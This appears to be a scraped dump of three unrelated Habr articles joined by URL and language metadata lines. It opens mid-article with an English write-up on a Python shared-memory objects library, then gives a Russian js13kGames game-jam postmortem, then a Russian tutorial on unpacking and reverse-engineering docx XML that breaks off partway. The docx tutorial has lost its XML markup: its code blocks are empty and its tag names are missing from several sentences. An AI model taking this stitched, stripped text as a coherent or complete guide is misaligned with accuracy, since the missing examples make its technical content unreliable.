if len(sys.argv) != 3 or sys.argv[1] != 'worker':
# main process
coord_name = pso.init()
pso.root().queue = queue = Queue()
worker_count = 3
if len(sys.argv) >= 2:
worker_count = int(sys.argv[1])
workers = [subprocess.Popen([sys.executable, sys.argv[0], 'worker', coord_name])
for i in range(worker_count)]
items = []
ends = 0
while ends < worker_count:
(item, eoq) = queue.pop()
if eoq:
ends += 1
print(item)
print(f'ShmList final state: {list(queue.deque)}')
statuses = [w.wait(None) for w in workers]
input("Press Enter to continue...")
else:
# worker process
pso.connect(sys.argv[2])
queue = pso.root().queue
for i in range(100):
queue.put(i)
queue.put(queue.termination_mark)
```
This is just a simple "multiple concurrent consumers — single consumer" application. I might consider writing some building a support for queue-channel functionality right into my library. But currently I want to amphasize this is a producer-consumer application written using basic data structures for most of the part, no special libraries or other external software is required.
So the new features are `ShmList.popleft()` method and ShmPromise class. The "popleft" implements a kind of deque interface, not nearly as feature-rich as `collections.deque` though. Thus you can use Shmlist as a queue, pushing elements with `append()` and popping them with `popleft()`.
ShmPromise is the only built-in synchronization primitive at the moment. It is created in unsignalled state which causes all `wait()` calls on it to block. When signalled by `signal()`, it resumes execution of all the waiters and causes all subsequent `wait()` calls to return immediately. That is a one-shot event like JavaScript's promise. It's simple and lots of complex scenarious can be implemented with it, but each instance of Promise can only be used for a single signal, so for multiple signals you will need to create multiple Promise-s. Promise signal() can also participate in transaction (signal atomically after transaction succeedes), but wait() should always be called outside of transaction, because you are not supposed to wait for anything inside transaction anyway and implementation of dependant transactions would make already hard project much harder.
Also you might have noticed I used `@pso.transaction` decorator instead of `with transaction` because the "put" method can be passed as argument just fine. And there's no "-m pso" option, which does nothing for this particular program.
Technical details of implementation (boring part)
=================================================
Python program expects sequential execution. Easiest way CPython's developers have chosen — just execute the program totally sequentially (a.k.a. GIL) and pretend there is no problem. However, this very approach creates a new problem — time passed and now you cannot get rid of GIL because the whole compiler, standard library, and all third-party code heavily relies on GIL, so the problem get bigger and bigger with every year. The problem is so neglected the community cannot even implement subinterpreters:
<https://www.python.org/dev/peps/pep-0554/> — PEP 554 — Multiple Interpreters in the Stdlib
<https://github.com/ericsnowcurrently/multi-core-python>
It's been like 2 year since I started my project on shared objects, and subinterpreters are still work-in-progress. Even if completed, subinterpreters only provide you with separated interpreters each thinking it's the only one and running commands one by one (in a total serial order).
Designers of multiinterpreters suggest many ways of communication except they don't suggest shared memory. Of course you might have heard about: <https://golang.org/doc/effective_go#sharing>
> Do not communicate by sharing memory; instead, share memory by communicating
However, system made of independant tasks communicating over channels can be hard to reason about despite the absence of races. Shared data, in turn, has the following drawbacks:
* races, mentioned in the Go article. So far the biggest barrier against mass use of multithreading. My project mostly solves (with remarks) this problem by introduction of transparent transactions as mentioned earlier;
* cache misses. Modern CPUs are optimized for caching core-private data and much less optimized for shared data, especially in case of NUMA systems. But actually for CPython this aspect is less significant because run time of a single command is comparable to a cache miss delay;
* crash recovery. I doubt a Go program can continue running after something like segmentation fault. So far very few tool solved this problem successfully, notably Erlang. I tried to introduce some redundancy and recovery features, so latter it would be possible to implement recovery from a single worker crash which presently might lead to a complete halt of processing due to abandonned locks.
Our best bet for multatasking with shared data is to find some way to make it look like a sequential execution of actions on private data while in fact actions are performed simultaneously on shared data. So far the only practical way to do that is to employ transactional access with **fine-grained locking**. Even more «fine-grained» is a **read-write locking**, albeit tedious in implementation, but the benefits of being able to perform multiple concurrent reads are just too huge to ignore.
However, no matter if you are using optimistic or pessimistic locking, with fine-grained locking you eventually run into a need to roll back the transaction e.g. when you run into a deadlock scenario. So here is the second requirement for the system: **ability to keep at least two versions of data**. Yeah, I know there are multiversioned/persistent data structures, but those are not free and Python is just not suited for managing snapshots anyways.
The third requirement comes from the fact operations in Python might take an extended period of time. And it's okay for Python, but many concurrent algorythms assume the «critical» (concurrently run) segment of code is as short as possible, so there probably won't be too much contention. We cannot force people to rewrite their program, so we might expect the concurrent tasks to eventually all wait and contend for the same resource, with some or all of the transactions being long-running. Simple optimistic (lazy) STM implementations would provide horrible performance in that scenario (like mentioned GHC), even worse than fully sequential execution with GIL. Naive locking would favor short transactions and possibly never complete long ones. That's why **fairness** is a must.
So, the project seems to be pretty simple at first glance. That's what I thought at first when starting the project. Over time several things became apparent:
* there are no full-fledged open source implementations of shared memory manager. There are some building block available here and there, but they all require lots of work to make a ready-to-use solution. Partially that's because there are no agreed unified ways of pointer translation between processes (shared memory regions reside at different addresses in different processes);
* no ready-made solutions for debugging and testing of multitasking systems. There are lots of tools for single-threaded programs, there are some tools for multithreaded programs, and there are kinda none for multiprocess ones.
* although there are lots of implementation for read-write locks, the requirement for fairness-cancelability on multiple locks brings it to a completely different level. To implement fairness we need to be able to cancel newer and/or shorter transaction so older/longer transactions will be able to successfully complete. Doing so with set of multiple locks means that acquisition of one additional lock in one transaction might require release of the whole set of locks acquired previously by other transaction or that one lock would wait for the whole set of locks to be released.
* reclaiming memory in concurrent environment is a pain. Lock-based reference counting has some horrible performance, just like hazard pointers. Tracing garbage collection is a good candidate, but implementing it efficiently is hard and the need to stop every worker even for brief duration actually means indeterminant wait time because we have very few wait points. So I created a significantly extended version of quiescence state reclamation which is also used by Linux kernel. Epoch-based reclamation (similar to quiescence state-based) requires all tasks to make progress for reclamation to happen, which is not viable for the same reason as stop-the-world garbage collectors — CPython program may pause for indetermined period of time.
Shared memory manager
---------------------
It was created with Hoard as a prototype, with separate heaps for each worker process — an underutilized strategy which leads to higher memory footprint but provides superior performance, that's why it is used by all efficient multithreaded memory managers like Hoard, jemalloc, tcmalloc, mimalloc. The memory manager is still not production ready though, because it supports no large memory blocks and cannot release completely free pages of memory to OS.
The problem of pointer translation was resolved using a kind of page table, so the higher bits of pointer indicate a shared segment index (page index) and lower bits indicate offset from the start of that page. Thus at very low footprint of page offset lookup I got sharable pointers that work in every process. Although it's not Byzandine fault-resistant like hash table lookups often used by OS, we don't except the processes to be malicious anyways.
Two versioned data structures
-----------------------------
The transactional access requires ability to cancel mutation and to not show it until committed. So at least two versions of data should be available: publicly visible committed and private uncommitted. Any library capable of providing such data structures and able to reside in custom shared memroy buffer can be utilized for extension of PSO. For example, Numpy arrays support custom buffers, thus to become usable in PSO it only requires additional work for uncommitted data storage.
Currently there are only three mutable data structures available:
— ShmList, list (with queue-like extension) implemented using two-level tree;
— ShmDict, unordered assiciative array (dict) implemented as two hash tables, each hash table being a two-level tree;
— ShmPromise, which is very simple and just stores two statuses.
The two-level array resembles persistent data structures and originally was intended for dirty reads (which are not supported at the moment). Also it's pretty much the only way to efficiently implement a mixed queue-vector functionality, so it came in handy.
ShmObject is represented by the same ShmDict data type, with shared dict taking place of object's **dict** attribute, thus every access to the object's attribute is translated into ShmDict key lookup. Sharing of classes is not implemented, however you might try to create a class with pso.ShmObject as metaclass (not guaranteed to work though, just a crazy thought).
Fine-grained fair cancelable locks
----------------------------------
The most unbridled part of the project. That's where most of lock-free code is located (obviously, because that's implementation of locks). RW-locking algorythm was inspired by [NUMA-Aware Reader-Writer Locks](http://mcg.cs.tau.ac.il/papers/ppopp2013-rwlocks.pdf) (shoutout to Nir Shavit, my favorite author on concurrency topics). However, those are just regular not-so-fair RW locks and already you might notice how complex the implementation is. It took so much more effort to implement strict fairness and ability to have unlimited amount of locks without a deadlock risk. Unfortunately, I cannot simply use queue-based locks (also called hierarchical locks) like guys from Linux kernel did, because cancelation is really hard task for queue-based locks.
My key idea was to always have some global unambiguous priority of tasks so on contention one task continues execution and remaining tasks wait, thus no deadlocks are possible. Each task takes a ticket from global atomic counter, older ticket means higher priority, newer ticket means lower priority. You might find it similar to a ticket lock, but these are global tickets for every lock in the system. No matter who and where detects the contention, one task gives up the lock or is preempted, and the other task keeps running or preempts the lower priority task and waits. So it trades throughput for a better fairness — opposite to what the guys from Oracle and Nir Shavit did. This mechanism can be roughly described as:
*take\_read\_lock*
```
if preempted then
return Preempted;
if check_exclusive() then
return Ok;
if !check_priority_vs_writer_and_barrier() then
return Preempted;
set_read_lock();
if preempt_contending_writer()
return Wait;
return Ok;
```
*take\_write\_lock*
```
if preempted then
return Preempted;
if check_exclusive() then
return Ok;
if higher_priority_reader_or_writer_exists() then
return Preempted;
set_barrier();
if preempt_low_priority_readers_and_writers() then
return Wait;
if !set_write_lock() then
return Repeat;
clear_barrier();
return Ok;
```
And the whole execution is enclosed into infinite loop:
```
while True do
result = take_read_lock/take_write_lock();
if result == Ok then
break;
if result == Preempted then
abort_transaction();
else if result == Wait then
wait();
USE_THE_DATA;
...
PROFIT
```
Here the barrier is an important link to avoid possible reader-writer misunderstanding. The ability to run multiple readers simultaneously requires the writer to wait for high priority readers but preempt low priority ones. And this should happen before writer gets its lock (it cannot because there are higher priority readers still running) — so that's what the barrier is for: to block lower priority readers but wait for higher priority readers to finish.
This locking mechanism has one important property: readers don't have to check other readers' lock state, so the reader locks can be implemented with so-called cohorting where each cohort of readers on one processor accesses only its cohort-bound set of reading locks, while the only cross-processor interaction happens between at least one writer, so for mostly-reading tasks it is possible to minimize cache misses because those readers would only check cohort-bound reader-locks and a cached unmodified writer lock. Thus the algorythm can easily become NUMA-friendly.
Memory reclamation
------------------
As already mentioned, reclamation of memory in multithreaded environment is challenging. There are only two viable mechanisms: fully concurrent tracing garbage collector, which can be very hard to implement, or quiescence state reclamation. Both require some background worker to do the reclamation. Classic concurrent tracing garbage collection allows us to drop reference counting which has significant impact on performance of low-level code and especially shared memory due to cache misses.
However, the only way I see to implement a truly concurrent garbage collector with zero stops is to utilize a reference counting to catch references modification without stopping the whole processing, thus the whole "cache optimization advantage due to no reference counting" thing is actually non-existent for this project.
So I picked the quiescence state idea. Classic RCU (Linux) append the released objects into a lock-free queue, latter reclaimer grabs this queue using atomic swap, and then triggers reclamation onces all workers finish their work (enter quiescence state). However, RCU implementation relies on the few assumptions: object is never reused, not referenced from multiple containers, and references are never modified outside transaction. Those are way too restrictive, we cannot force the user to not reuse an object. To trigger reclamation on a free-floating object we need to count its references, only reclaiming objects with zero reference counter.
I went one step further: in anticipation of possible future implementation of dirty read (or some other mechanism for simultaneous reading and writing) and possible optimizations for reduction of reference count mutation (to ret rid of temporary increments/decrements hurting CPU cache) I allowed the reference counter to temporary become zero during transaction. Of course, that would require cancelation of reclamation request for that object, which is easiest accomplished using a second counter (called "revival\_count" internally). Thus it is possible to just read the shared objects without touching reference counter and without acquiring any reader/writer locks — those objects will not go away for as long as the transaction is running.
Debugging and testing
---------------------
Tests cannot be used to prove absence of bugs. Tests only show presence of bugs, but successfull pass of a test means "this bug is not here". Some other bug might still be here though. You can deal with this problem by introducing more tests, and more, and more, until there's a lot more development time spent on test than on actual code. And it's so much easier to hide subtle bugs in multitasking code, because a crash might be reproduced one time in 1000 runs. If I was an "enterprise developer" I would cover this problem and say "it's gone now, I fixed it". Obviously, you cannot do that when you write your code for free. So I took a different approach: if anything can crash, if anywhere an error might be detected — let's detect it and crash right now (through assertion), without waiting for data corruption or other unpredictable behaviour to happen (or test to successfully pass). It's kind of approach designers of Rust language took. Unfortunately, neither me nor Rust designers were able to enforce static (compile-time) checks on shared mutable state and lock-free algorythms.
To be able to check everything, every object has a type tag, many data structures are redundant and can be verified with relatively small footprint. My benchmarks show that removal of all the assertions gives 10-15% increase in performance. Also, lock-free algorythms often have rarely hit sequences of actions (not to be confused with code branches), so the second trick is to occasionally trigger unpopular code branches hoping to trigger some rare races. This testing "from inside" instead of testing "from outside" (with classic tests) leads to a radical decrease of bug count due to their early detection when I can trace a recent modification related to this bug instead of capturing it few month latter. Of course, you cannot test a code "from inside" if it's not being executed at all, that's why a joint effort from both directions is required to sucessfully produce a working software.
Actually, these "assertions" try to pause all the process connected to the same coordinator through `kill(SIGSTOP)` or `PauseThread()`. That's because common debuggers are useless for multiprocess systems, because they pause one process but let the others run, thus potentially changing errorneous shared data. I'm yet to find a better way to debug this software.
Unfortunately, there is no ThreadSanitizer for multiprocess systems. And even worse — there don't exist non-disturbing logging tools for concurrent systems. Usually a logging software requires at least one system call to be performed to register an action, which becomes an unintentional synchronization point. However, for race debugging just few CPU cycles might mean a lot, like a difference between occasionally reproducible bug and never reproducible. I'm really thinking about writing a non-disturbing logger myself.
Last notes and disclaimer
-------------------------
This is not a production-ready software. Although it's already quite large, there are still many thing to do: lots of standard CPython containers' functions are not implemenented, only objects of special base class can be shared and their classes are required to be static and immutable, only Windows and Linux platforms are supported, it's limited to 63 workers, there are some shortcuts limiting mutation count in one transaction for a single container and limiting size of god knows what things (sorry, writing dynamic structures take much more effort), it lacks cyclic garbage collector for shared data, memory manager cannot release memory to OS (but is able to reclaim memory within already allocated pages), it requires testing and it surely contains many bugs. It was tested on CPython 3.7 and 3.8 only. And it lacks end-user documentation, although "end-user" will surely run into another bug anyway, so end-user should just follow trial and error method. Don't expect it to be usable in production right now, so don't blame me for any lost dogs or broken hearts caused by this software. | https://habr.com/ru/post/585320/ | null | en | null |
# Как я участвовал в конкурсе маленьких игр js13kGames
В программерских конкурсах широко принято и приветствуется написание постмортемов. Никаких похорон: фактически, это сочинение на тему «Что я узнал, участвуя в конкурсе».
Контест маленьких игр на джаваскрипте [js13kGames](http://js13kGames.com/) не исключение, и я хотел бы поделиться с Хабром накопившимися ощущениями начинающего игродела.
*(Для тех, кто хочет поиграть, но не хочет читать откровения, вот [ссылка на игру](http://js13kgames.com/entries/quintessence).)*
Для начала о самом конкурсе
---------------------------
Хабраюзер [printf](https://habrahabr.ru/users/printf/) в [своём постмортеме](http://habrahabr.ru/post/236713/) уже описал его, но я для полноты всё-таки повторюсь:
Нужно написать игру на js, которая после упаковки в zip будет занимать не больше 13 килобайт (точнее будет «кибибайт», но не все ещё привыкли к этой единице). Само собой, никаких ресурсов, подключаемых извне.
Кстати, оказалось, что 13 кб в zip для любителей [код-гольфа](http://habrahabr.ru/post/202944/) — это просто огромное количество места. Забегаю вперёд скажу, что из 13 кб удалось использовать только чуть больше 8, отчего у меня остался очень непрятный осадок — *игра недоделана, нужно было стараться лучше, место-то позволяет, ме-ме-ме!..*. Но это было потом, а теперь к самому началу.
Месяц до конкурса
-----------------
Да, работа началась уже тогда. Но скорее, исследовательская и координационная. Я (Россия), Maxime Euziere (Франция) и Jim Herrero (США) ранее работали вместе над маленькими гольферскими проектами. Ну, и решили пилить игру вместе.
Пока неизвестен ни формат игры, ни тем более, тематика. Известно только, что игра будет зазипована, а ZIP можно сжать лучше или хуже. Проводились вялотекущие тесты эффективности различных способов архивации, на каких платформах и в каких распаковщиках они поддерживаются, и того, как вообще следует писать код под zip. Краткий отчёт о проделанной работе находится на [gist.github.com](https://gist.github.com/subzey/b18c482922cd17693d65) *(на английском языке)*. Вкратце: нормально поддерживается только сжатие Deflate.
А теперь немного о том, что в отчет не попало (но лежало на поверхности). С дефлейтом можно развернуться на полную и приложить [zopfli](https://code.google.com/p/zopfli/)! Я вообще люблю прикладывать zopfli к разным вещам. Как оказалось, даже не пришлось писать своих велосипедов для оптимизации zip (хотя я их, ессно, написал) — есть шикарный готовый перепаковщик AdvZip. Только тс-с-с!
Итак, заранее вооружившись мы стали ждать начала конкурса и объявления темы.
«Элементы: земля, вода, воздух и огонь»
---------------------------------------
Именно так гласила тема. В скайпе начался брейнсторм. Предлагались различные варианты — от бега с препятствиями ([Turtles Can't Skate](http://js13kgames.com/entries/turtles-cant-skate) поразительно похож по механике на то, что обсуждалось) до игры типа Леммингов ([опять же. мы были не одни с этой идеей](http://js13kgames.com/entries/pest-control-weasels)). Но в итоге (на 3 или 4 день) было решено сделать что-то типа Bejeweled.
И тут швах: Максим решил уволиться с работы, и переехать в другой город. Он не мог принимать активного участия в написании кода, и предполагалось, что он будет помогать в гольфинге — уменьшении размера кода. Который, кстати, даже не пригодился. Но его мысли, предложения и наметки алгоритмов сильно помогли мне, и упоминание в «credits» он полностью заслужил. Все таки, одна голова хорошо, а две лучше. «Две» — потому что Джим свалил сразу после брейнсторма в неизвестном направлении по неизвестным мне причинам.
Управлять программистами — всё равно, что пасти котов. А если они находятся на разных сторонах земного шара — тут ваще пипец.
Разработка
----------
Итак, идея проста: на доске есть плиточки (тайлы), которые можно объединять. Объединяем Воду и Землю, получаем Грязь. Собираем при плитки с грязью в ряд, они исчезают, и начисляются очки. Далее грязь нельзя объединить ещё раз с водой и землёй, иначе количество вариантов просто зашкаливало, и игрок вряд ли разобрался когда-нибудь в этой таблице алхимических элементов.
### Тайлы
Для начала генерируем сами плиточки: форма, выпуклось и лёгонькая песчаная текстурка из `Math.random()`. Для каждой плитки эта текстурка создается заново, чтобы не было «эффекта батареи», когда глаз подсознательно начинает находить похожие элементы. Кстати, тайлы и фавыкон после каждой загрузки страницы слегка отличаются.
Это всё оказалось гораздо проще сделать, манипулируя с сырыми данными канваса: `createImageData` / `putImageData`. Правда, уголки у плиток не совсем скруглённые — это была ранняя наметка, когда я ещё не знал, что укладываюсь в доступное место с запасом. Но позже мне показалось, что так даже интереснее.
Сверху рисуется кривыми Безье иконки, уже силами и средствами API канваса.
Из полученного создается изображение (`new Image()`). Можно было бы оставить в виде канваса, но так и отлаживать легче, и операция копирования пикселей в канвас быстрее.
Задник генерируется так же, процедурной манипуляцией с сырыми пикселями. Задник чуть-чуть синеват, а тайлики желтоваты, это старый прикол, широко применяющийся в пиксель-арте: желтое кажется ближе. Задник этот ставится элементу canvas в качестве фона в css: незачем все это дело перерендеривать вручную, пусть браузер мучается. Кстати, отладчик Хрома как раз и мучался. Совет: не ставьте в background-image здоровенные картинки в `data:image/*`, дебаггер виснет ну просто неприлично.
### Обработка координат курсора
Ну тут всё просто. Если вы когда-нибудь писали драг-н-дроп вручную, то тут всё то же самое. И из-за крайней долбанутости зоопарка браузеров координаты приходится вычислять как «координаты относительно экрана минус координаты левого верхнего угла элемента». И это в 2014 году.
Обработка мышиных и пальцетычковых событий в принципе одинакова. Единственное — пришлось заглушить Pointer Events, чтобы в Windows Phone всё работало. Да-да, Windows Phone, игра изначально разрабатывалась с расчетом на мобильные устройства, а мобильное устройство — это не только айпад.
### Рендер и анимация
В простеньких игрушках обычно перерисовка обычно происходит по `setTimeout` / `setInterval`. При таком подходе фрейм-рейт низкий и почти постоянный, и «физика» обрабатывается покадрово. Да, в js таймеры могут проскальзывать при нагрузке на событийный цикл, но этим можно пренебречь.
Но я решил сделать «как большие мальчики», и использовать `requestAnimationFrame` (где он есть). А это ставило процесс рендера и анимации с ног на голову — фрейм срабатывал вообще когда угодно и как угодно часто от 60 раз в секунду до парочки раз в час. Но, господа, это круто. Результаты гораздо приятней.
Движок (если можно так назвать) работает следующим образом: есть массив игрового поля, «модель». Когда что-то в модели меняется, это происходит мгновенно, но в массив `blockingAnimations` кладётся объект, определяющий анимацию. Пока все анимации не завершились, requestAnimationFrame крутится постоянно. Когда завершились — производится проверка, может ли тайлики упасть под действием гравитации, взорваться или исчезнуть. Если нет — не запрашиваем requestAnimationFrame, незачем жечь процессор без нужды.
Тут я хочу сделать небольшую ремарку (если меня ещё кто-то читает): игра рассчитывалась как казуальная, и случай, когда пользователь поигрался и оставил её открытой в другой вкладке — более чем реален. А в какой-нибудь старой Опере под Windows 98 постоянный перерендер в соседней вкладке не вызывает ничего, кроме желания закрыть игру. Заботьтесь о своих пользователях, даже если это не пользователи, а игроки!
Во время блокирующих анимаций пользователь не может сделать ничего — чтобы вдруг не поменял состояние модели. Всё просто.
### Бета. Вернее, Альфа
Тут я созрел на первый публичный тест. Получил массу отзывов и предложений.
Первый реквест — ввести очки поскорее. Это было сделано.
Второй — сделать все анимации неблокирующими. Тут пришлось ответить отказом, я не волшебник, я только учусь.
Но главное, что меня поразило, в игру играли! Серьёзно! Я дал ссылку двум людями, а играли пятеро. Это воодушевило меня не бросать начатое.
Добавлены очки, поправлены страшные баги при отрисовке. Настало время беты. Я проводил её честно — на людях, которые её раньше не видели. И все они говорили, что не понимают, что надо делать. Пришлось запиливать «how to play» (который, кажется, оказался невнятным). Это в свою очередь добавило багов при отрисовке. Короче, разработка, как она есть.
Но даже после «how to play» оставались вопросы: пояснения-то на инглише! Пришлось идти на решительный шаг — локализацию. В итоге в игре три языка — английский, русский и французский.
### Мобильные устройства
То, что было «изначально заложено» пришло время вытаскивать наружу. С кодом всё шикарно, а с отображением — не очень.
Прежде всего, meta-viewport. Эта сволочь не работает. Вернее, работает, но вообще не так, как надо. Сказать при помощи него, что на эране должна отображаться область как минимум 750 × 770 можно, но ни один браузер этого не сделает. Пришлось указывать `width=device-width,height=device-height`, и эмулировать всё это через CSS transform (где он поддерживается).
И тут порадовал айпад — оказывается, `document.documentElement.clientHeight` / `.clientWidth` там всегда равны 1024. Что, согласитесь, абсолютно бесполезно. Пришлось подтыкивать костыли конкретно для айфона/айпада и определять через `window.innerHeight`.
Опять же, всплыла ещё одна проблема — при уменьшении канваса всё смотрится клёво, но при увеличении… гхм… как минимум, так себе. Всё замылено и неаккуратно. Ещё один костыль, и увеличение производится только со множителем кратным 2 (уменьшение — с любым). И пометка на будущее: канвас фиксированного размера — путь вникуда.
### Звуки
Осталось несколько дней. Именно время уже было ограничивающим фактором, а не размер. Что, если добавить звуки?
Брать готовую либу не хотелось. Треккер я, к сожалению, не умею, и к написанию музыки не особо способен. Да и зачем фоновая музыка на веб-странице?
Иное дело — звуки. В качестве основы я взял [генератор WAV от p01](http://www.p01.org/releases/140bytes_music_softSynth/). Чтобы звуки не были похожи на Денди или спецэффекты из Sci-Fi восьмидесятых, модифицировал его на 16 бит и 44100 Гц. И начал экспериментировать.
Чтобы тембр был понатуральнее, я использовал [гармоники](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D0%B5%D1%80%D1%82%D0%BE%D0%BD). Получалось скучно, поэтому для амплитуды обертонов я начал вводить адские коэффициенты — синусы, логарифмы, экспоненты, и смотреть, что же из этого выйдет. Выходили забавные вещи — от глухих щелчков до колокольчика. А иногда [вот это](http://codepen.io/anon/pen/gFmEI).
В итоге получилось что-то более-менее адекватное, и я воткнул это в игру. По стилистике звуки не очень сочетаются с песочно-каменной графикой, но признаюсь честно — чтобы выбирать из тонны звуков подходящие, нужно много терпения, а главное, выключить плеер. А на такие жертвы я как меломан просто пойти не мог.
Итог
----
А знаете, господа, инди-игродел — это интересно! В итоге — с интересом проведённый месяц, много опыта (причем в основном формата «надо было делать по-другому») и, главное, рабочая игра.
Вот она, кстати: [Quintessence на js13kGames](http://js13kgames.com/entries/quintessence). | https://habr.com/ru/post/237127/ | null | ru | null |
# Как я разбирал docx с помощью XSLT
Задача обработки документов в формате docx, а также таблиц xlsx и презентаций pptx является весьма нетривиальной. В этой статье расскажу как научиться парсить, создавать и обрабатывать такие документы используя только XSLT и ZIP архиватор.
Зачем?
------
docx — самый популярный формат документов, поэтому задача отдавать информацию пользователю в этом формате всегда может возникнуть. Один из вариантов решения этой проблемы — использование готовой библиотеки, может не подходить по ряду причин:
* библиотеки может просто не существовать
* в проекте не нужен ещё один чёрный ящик
* ограничения библиотеки по платформам и т.п.
* проблемы с лицензированием
* скорость работы
Поэтому в этой статье будем использовать только самые базовые инструменты для работы с docx документом.
Структура docx
--------------
Для начала разоберёмся с тем, что собой представляет docx документ. docx это zip архив который физически содержит 2 типа файлов:
* xml файлы с расширениями `xml` и `rels`
* медиа файлы (изображения и т.п.)
А логически — 3 вида элементов:
* Типы (Content Types) — список типов медиа файлов (например png) встречающихся в документе и типов частей документов (например документ, верхний колонтитул).
* Части (Parts) — отдельные части документа, для нашего документа это document.xml, сюда входят как xml документы так и медиа файлы.
* Связи (Relationships) идентифицируют части документа для ссылок (например связь между разделом документа и колонтитулом), а также тут определены внешние части (например гиперссылки).
Они подробно описаны в стандарте [ECMA-376: Office Open XML File Formats](http://www.ecma-international.org/publications/standards/Ecma-376.htm), основная часть которого — [PDF документ](http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-376,%20Fifth%20Edition,%20Part%201%20-%20Fundamentals%20And%20Markup%20Language%20Reference.zip) на 5000 страниц, и ещё 2000 страниц бонусного контента.
Минимальный docx
----------------
[Простейший docx](https://github.com/eduard93/docx/releases/download/v1.0.0/minimal.docx) после распаковки выглядит следующим образом
Давайте [посмотрим](https://github.com/eduard93/docx/commit/5313b19d6b14392fee217f66afb11866fe738067) из чего он состоит.
#### [Content\_Types].xml
Находится в корне документа и перечисляет MIME типы содержимого документа:
```
```
#### \_rels/.rels
Главный список связей документа. В данном случае определена всего одна связь — сопоставление с идентификатором rId1 и файлом word/document.xml — основным телом документа.
```
```
#### word/document.xml
[Основное содержимое документа](http://www.datypic.com/sc/ooxml/e-w_document.html).
**word/document.xml**
```
Test
```
Здесь:
* — сам документ
* — тело документа
* — параграф
* — run (фрагмент) текста
* — сам текст
* — описание страницы
Если открыть этот документ в текстовом редакторе, то увидим документ из одного слова `Test`.
#### word/\_rels/document.xml.rels
Здесь содержится список связей части `word/document.xml`. Название файла связей создаётся из названия части документа к которой он относится и добавления к нему расширения `rels`. Папка с файлом связей называется `_rels` и находится на том же уровне, что и часть к которой он относится. Так как связей в `word/document.xml` никаких нет то и в файле пусто:
```
```
Даже если связей нет, этот файл должен существовать.
docx и Microsoft Word
---------------------
[docx](https://github.com/eduard93/docx/releases/download/v1.0.0/word.docx) созданный с помощью Microsoft Word, да в принципе и с помощью любого другого редактора имеет [несколько дополнительных файлов](https://github.com/eduard93/docx/commit/5313b19d6b14392fee217f66afb11866fe738067).
Вот что в них содержится:
* `docProps/core.xml` — основные метаданные документа согласно [Open Packaging Conventions](https://en.wikipedia.org/wiki/Open_Packaging_Conventions) и Dublin Core [[1]](http://dublincore.org/documents/dcmi-terms/), [[2]](http://dublincore.org/documents/dces/).
* `docProps/app.xml` — [общая информация о документе](http://www.datypic.com/sc/ooxml/e-extended-properties_Properties.html): количество страниц, слов, символов, название приложения в котором был создан документ и т.п.
* `word/settings.xml` — [настройки относящиеся к текущему документу](http://www.datypic.com/sc/ooxml/e-w_settings.html).
* `word/styles.xml` — [стили](http://www.datypic.com/sc/ooxml/e-w_styles.html) применимые к документу. Отделяют данные от представления.
* `word/webSettings.xml` — [настройки](http://www.datypic.com/sc/ooxml/e-w_webSettings.html) отображения HTML частей документа и настройки того, как конвертировать документ в HTML.
* `word/fontTable.xml` — [список](http://www.datypic.com/sc/ooxml/e-w_fonts.html) шрифтов используемых в документе.
* `word/theme1.xml` — [тема](http://www.datypic.com/sc/ooxml/e-a_theme.html) (состоит из цветовой схемы, шрифтов и форматирования).
В сложных документах частей может быть гораздо больше.
Реверс-инжиниринг docx
----------------------
Итак, первоначальная задача — узнать как какой-либо фрагмент документа хранится в xml, чтобы потом создавать (или парсить) подобные документы самостоятельно. Для этого нам понадобятся:
* Архиватор zip
* Библиотека для форматирования XML (Word выдаёт XML без отступов, одной строкой)
* Средство для просмотра diff между файлами, я буду использовать git и TortoiseGit
#### Инструменты
* Под Windows: [zip](http://gnuwin32.sourceforge.net/packages/zip.htm), [unzip](http://gnuwin32.sourceforge.net/packages/unzip.htm), [libxml2](ftp://ftp.zlatkovic.com/libxml/), [git](https://git-scm.com/download/win), [TortoiseGit](https://tortoisegit.org/download/)
* Под Linux: `apt-get install zip unzip libxml2 libxml2-utils git`
Также понадобятся [скрипты](https://github.com/eduard93/docx/commit/6b41b0e459329d62d0736aa6dc5a7b02e7398dcd) для автоматического (раз)архивирования и форматирования XML.
Использование под Windows:
* `unpack file dir` — распаковывает документ `file` в папку `dir` и форматирует xml
* `pack dir file` — запаковывает папку `dir` в документ `file`
Использование под Linux аналогично, только `./unpack.sh` вместо `unpack`, а `pack` становится `./pack.sh`.
#### Использование
Поиск изменений происходит следующим образом:
1. Создаём пустой docx файл в редакторе.
2. Распаковываем его с помощью `unpack` в новую папку.
3. Коммитим новую папку.
4. Добавляем в файл из п. 1. изучаемый элемент (гиперссылку, таблицу и т.д.).
5. Распаковываем изменённый файл в уже существующую папку.
6. Изучаем diff, убирая ненужные изменения (перестановки связей, порядок пространств имён и т.п.).
7. Запаковываем папку и проверяем что получившийся файл открывается.
8. Коммитим изменённую папку.
#### Пример 1. Выделение текста жирным
Посмотрим на практике, как найти тег который определяет форматирование текста жирным шрифтом.
1. Создаём документ `bold.docx` с обычным (не жирным) текстом Test.
2. Распаковываем его: `unpack bold.docx bold`.
3. [Коммитим результат](https://github.com/eduard93/docx/commit/910ea3fb0f1667ce2722da491b27c4e12474c8ec).
4. Выделяем текст Test жирным.
5. Распаковываем `unpack bold.docx bold`.
6. Изначально diff выглядел следующим образом:
Рассмотрим его подробно:
#### docProps/app.xml
```
@@ -1,9 +1,9 @@
- 0
+ 1
```
Изменение времени нам не нужно.
#### docProps/core.xml
```
@@ -4,9 +4,9 @@
- 1
+ 2
2017-02-07T19:37:00Z
- 2017-02-07T19:37:00Z
+ 2017-02-08T10:01:00Z
```
Изменение версии документа и даты модификации нас также не интересует.
#### word/document.xml
**diff**
```
@@ -1,24 +1,26 @@
-
+
+
-
+
+
Test
-
+
```
Изменения в `w:rsidR` не интересны — это внутренняя информация для Microsoft Word. Ключевое изменение тут
```
+
```
в параграфе с Test. Видимо элемент и делает текст жирным. Оставляем это изменение и отменяем остальные.
#### word/settings.xml
```
@@ -1,8 +1,9 @@
+
@@ -17,10 +18,11 @@
+
```
Также не содержит ничего относящегося к жирному тексту. Отменяем.
7 Запаковываем папку с 1м изменением (добавлением ) и проверяем что [документ](https://github.com/eduard93/docx/releases/download/v1.0.0/bold.docx) открывается и показывает то, что ожидалось.
8 [Коммитим изменение](https://github.com/eduard93/docx/commit/17f1dca258c44d87e8563b86a7e515b01bd4cee0).
#### Пример 2. Нижний колонтитул
Теперь разберём пример посложнее — добавление нижнего колонтитула.
